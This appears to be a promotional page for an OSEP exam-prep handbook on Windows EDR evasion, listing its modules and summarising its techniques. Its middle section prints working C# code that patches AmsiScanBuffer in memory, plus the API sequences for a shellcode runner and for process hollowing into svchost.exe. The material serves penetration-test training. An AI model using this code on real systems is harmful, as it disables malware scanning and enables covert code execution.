OSEP Notes Basic By Joas

Executive Summary: Mastering EDR Evasion & Breaching Defenses

In modern enterprise penetration testing and red teaming, basic Metasploit payloads and unencrypted executable files are instantly blocked by Endpoint Detection and Response (EDR) agents such as CrowdStrike, SentinelOne, and Microsoft Defender for Endpoint. Passing the OffSec Experienced Penetration Tester (OSEP) exam and operating in hardened environments requires deep expertise in low-level Windows internals, Win32 API hooking, and custom shellcode delivery.

OSEP Notes Basic By Joas is the comprehensive 241-page master field manual compiled by renowned security researcher Joas A Santos. Spanning 8 exhaustive modules, this handbook covers every core objective of the PEN-300 curriculum: writing custom C# process injection runners, unhooking `ntdll.dll` in memory, patching AMSI/ETW dynamically, executing PowerShell Constrained Language Mode (CLM) bypasses, and exploiting Active Directory constrained delegation.

Deep Dive: Core OSEP Evasion & Exploitation Techniques

The handbook provides production-ready C# source code, PowerShell bypass scripts, and low-level C++ unhooking routines across five key domains:

1. AMSI (Antimalware Scan Interface) Patching

Disabling memory scanning for PowerShell and .NET assemblies:

• AmsiScanBuffer Patch: Overwriting the first bytes of `AmsiScanBuffer` in `amsi.dll` with `mov eax, 0x80070057; ret;` (`c7 c0 57 00 07 80 c3`), forcing AMSI to return `E_INVALIDARG` and bypass payload signature scanning.

2. Custom C# Win32 API Shellcode Runner

Allocating executable memory and spawning execution threads without touching disk:

• Win32 P/Invoke Sequence: P/Invoke declarations for `VirtualAlloc` (`MEM_COMMIT | MEM_RESERVE`, `PAGE_EXECUTE_READWRITE`), `Marshal.Copy`, `CreateThread`, and `WaitForSingleObject`.

Field Engineering: C# AMSI Patching & Win32 Shellcode Runner

Chapter 3 of the handbook provides practical C# source code for patching AMSI in memory:

using System;
using System.Runtime.InteropServices;

public class AMSIBypass {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    public static void Bypass() {
        IntPtr amsiDll = LoadLibrary("amsi.dll");
        IntPtr amsiScanBuffer = GetProcAddress(amsiDll, "AmsiScanBuffer");

        // x64 Patch Bytes: mov eax, 0x80070057; ret;
        byte[] patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

        uint oldProtect;
        VirtualProtect(amsiScanBuffer, (UIntPtr)patch.Length, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE
        Marshal.Copy(patch, 0, amsiScanBuffer, patch.Length);
        VirtualProtect(amsiScanBuffer, (UIntPtr)patch.Length, oldProtect, out oldProtect);
        Console.WriteLine("[+] AMSI Memory Patch Applied Successfully!");
    }
}

// C# OSEP Process Hollowing Execution Flow
// 1. Create suspended target process: CreateProcess("svchost.exe", CREATE_SUSPENDED)
// 2. Unmap original image section: NtUnmapViewOfSection
// 3. Allocate new memory block in remote process: VirtualAllocEx
// 4. Write payload shellcode: WriteProcessMemory
// 5. Update thread context EAX/RCX register to point to shellcode entry point: SetThreadContext
// 6. Resume suspended process thread: ResumeThread

Complete Table of Contents & Module Syllabus

• Module 01 OSEP Methodology, Win32 APIs & P/Invoke Essentials

  Pages 1–30
  Understanding P/Invoke signatures, Windows process memory structures, NTDLL export tables, and C# compilation.
• Module 02 AMSI & ETW In-Memory Patching Mechanics

  Pages 31–60
  Overwriting `AmsiScanBuffer` & `EtwEventWrite` instruction pointers, bypassing signature detection, and reflection patches.
• Module 03 Custom C# & C++ Shellcode Runners & Obfuscation

  Pages 61–95
  Building XOR/AES encrypted payload loaders, `VirtualAlloc` execution, and dynamic API resolving via GetProcAddress.
• Module 04 EDR Unhooking: Restoring Clean NTDLL in Memory

  Pages 96–130
  Reading clean `ntdll.dll` from disk, unhooking user-land EDR hooks, and implementing Direct System Calls (Syscalls / Hell's Gate).
• Module 05 Process Injection, Process Hollowing & APC Queues

  Pages 131–165
  Injecting remote target processes (`explorer.exe`), Process Hollowing suspended binaries, and Early Bird APC injection.
• Module 06 Bypassing Windows Application Whitelisting (AppLocker & CLM)

  Pages 166–195
  Bypassing AppLocker rules using MSBuild, InstallUtil, Regasm, Regsvcs, and escaping PowerShell Constrained Language Mode.
• Module 07 Active Directory Lateral Movement & Constrained Delegation

  Pages 196–225
  Exploiting Unconstrained & Constrained Delegation, S4U2self / S4U2proxy abuse, Resource-Based Constrained Delegation (RBCD).
• Module 08 OSEP Exam Strategy, Lab Infrastructure & Cheat Sheets

  Pages 226–241
  24-hour OSEP exam tactics, reporting requirements, lab environment setup, and rapid reference command cheat sheets.

Who Should Read This Handbook?

This handbook is designed for advanced offensive security engineers and OSEP exam candidates:

Verified Red Team & OffSec Student Reviews

Frequently Asked Questions